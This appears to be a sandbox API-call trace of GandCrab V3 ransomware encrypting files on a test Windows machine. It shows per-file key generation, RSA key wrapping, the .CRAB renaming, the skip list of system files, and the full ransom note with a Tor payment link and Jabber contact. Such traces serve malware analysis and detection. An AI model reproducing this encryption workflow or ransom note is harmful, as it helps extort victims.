	[0129.918] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff0ae9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.918] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xf520, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xf520, lpOverlapped=0x0) returned 1
	[0129.918] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.919] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.923] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.923] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.923] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.923] CloseHandle (hObject=0x3e8) returned 1
	[0129.923] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.923] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.924] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.924] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.924] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.924] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.924] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.924] lstrcmpW (lpString1="xSsyaQq7FXblGGw.csv", lpString2=".") returned 1
	[0129.924] lstrcmpW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="..") returned 1
	[0129.924] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="xSsyaQq7FXblGGw.csv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv"
	[0129.924] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.925] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv") returned 51
	[0129.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv") returned 51
	[0129.925] lstrlenW (lpString=".csv") returned 4
	[0129.925] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.925] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".csv ") returned 5
	[0129.925] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv") returned 51
	[0129.925] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv") returned 51
	[0129.925] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="desktop.ini") returned 1
	[0129.925] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="autorun.inf") returned 1
	[0129.925] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="ntuser.dat") returned 1
	[0129.925] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="iconcache.db") returned 1
	[0129.925] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="bootsect.bak") returned 1
	[0129.925] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="boot.ini") returned 1
	[0129.926] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="ntuser.dat.log") returned 1
	[0129.926] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="thumbs.db") returned 1
	[0129.926] lstrcmpiW (lpString1="xSsyaQq7FXblGGw.csv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.926] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.926] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB") returned 56
	[0129.926] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\xssyaqq7fxblggw.csv")) returned 0x20
	[0129.926] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv", dwFileAttributes=0x20) returned 1
	[0129.926] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\xssyaqq7fxblggw.csv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\xssyaqq7fxblggw.csv.crab")) returned 1
	[0129.927] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.927] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB"
	[0129.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB.CRAB"
	[0129.928] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.930] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.931] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.931] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.931] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.931] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.931] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0129.934] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.934] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.934] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.934] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.934] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0129.934] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.934] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.935] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.935] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0129.938] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158940) returned 1
	[0129.938] CryptGetKeyParam (in: hKey=0x3158940, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.938] CryptEncrypt (in: hKey=0x3158940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.939] GetLastError () returned 0x0
	[0129.939] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0129.939] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0129.942] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158e40) returned 1
	[0129.942] CryptGetKeyParam (in: hKey=0x3158e40, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.942] CryptEncrypt (in: hKey=0x3158e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.942] GetLastError () returned 0x0
	[0129.942] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0129.942] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\xSsyaQq7FXblGGw.csv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\xssyaqq7fxblggw.csv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.943] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.943] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.943] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x185be, lpOverlapped=0x0) returned 1
	[0130.037] VirtualAlloc (lpAddress=0x0, dwSize=0x185c0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.039] VirtualAlloc (lpAddress=0x0, dwSize=0x185c0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0130.042] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.042] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe7a42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.043] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x185c0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x185c0, lpOverlapped=0x0) returned 1
	[0130.043] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.043] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.059] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.059] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.059] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0130.059] CloseHandle (hObject=0x3e8) returned 1
	[0130.059] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.060] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.060] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.060] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.060] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.060] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.061] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0130.061] FindClose (in: hFindFile=0x318e4f8 | out: hFindFile=0x318e4f8) returned 1
	[0130.061] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0130.061] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1
	[0130.061] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1
	[0130.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Downloads" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads"
	[0130.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\"
	[0130.061] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.061] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.061] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.061] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.061] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.061] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.062] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.062] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.062] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.062] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.062] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.062] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.062] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\\\CRAB-DECRYPT.txt") returned 49
	[0130.062] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0130.063] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.063] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0130.067] CloseHandle (hObject=0x3d4) returned 1
	[0130.067] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.067] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\") returned 32
	[0130.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*"
	[0130.068] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x318e4f8
	[0130.068] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.068] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.068] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.068] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.068] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.068] lstrcmpW (lpString1="ChromeSetup.exe", lpString2=".") returned 1
	[0130.068] lstrcmpW (lpString1="ChromeSetup.exe", lpString2="..") returned 1
	[0130.068] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="ChromeSetup.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe"
	[0130.068] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.069] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe") returned 47
	[0130.069] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe") returned 47
	[0130.069] lstrlenW (lpString=".exe") returned 4
	[0130.069] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.070] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".exe ") returned 5
	[0130.070] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.070] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.070] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.070] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.070] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.070] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\CRAB-DECRYPT.txt"
	[0130.070] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.071] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\CRAB-DECRYPT.txt") returned 48
	[0130.071] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\CRAB-DECRYPT.txt") returned 48
	[0130.071] lstrlenW (lpString=".txt") returned 4
	[0130.071] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.071] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.071] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.071] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\CRAB-DECRYPT.txt") returned 48
	[0130.071] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\CRAB-DECRYPT.txt") returned 48
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.071] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.071] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.072] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.072] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0130.072] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0130.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini"
	[0130.072] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.072] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini") returned 43
	[0130.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini") returned 43
	[0130.072] lstrlenW (lpString=".ini") returned 4
	[0130.072] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.072] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0130.072] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini") returned 43
	[0130.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\desktop.ini") returned 43
	[0130.073] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0130.073] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.073] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.073] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2=".") returned 1
	[0130.073] lstrcmpW (lpString1="jre-8u131-windows-x64.exe", lpString2="..") returned 1
	[0130.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\", lpString2="jre-8u131-windows-x64.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe"
	[0130.073] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.073] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe") returned 57
	[0130.073] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\jre-8u131-windows-x64.exe") returned 57
	[0130.073] lstrlenW (lpString=".exe") returned 4
	[0130.073] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.073] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".exe ") returned 5
	[0130.073] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.074] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.074] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0130.074] FindClose (in: hFindFile=0x318e4f8 | out: hFindFile=0x318e4f8) returned 1
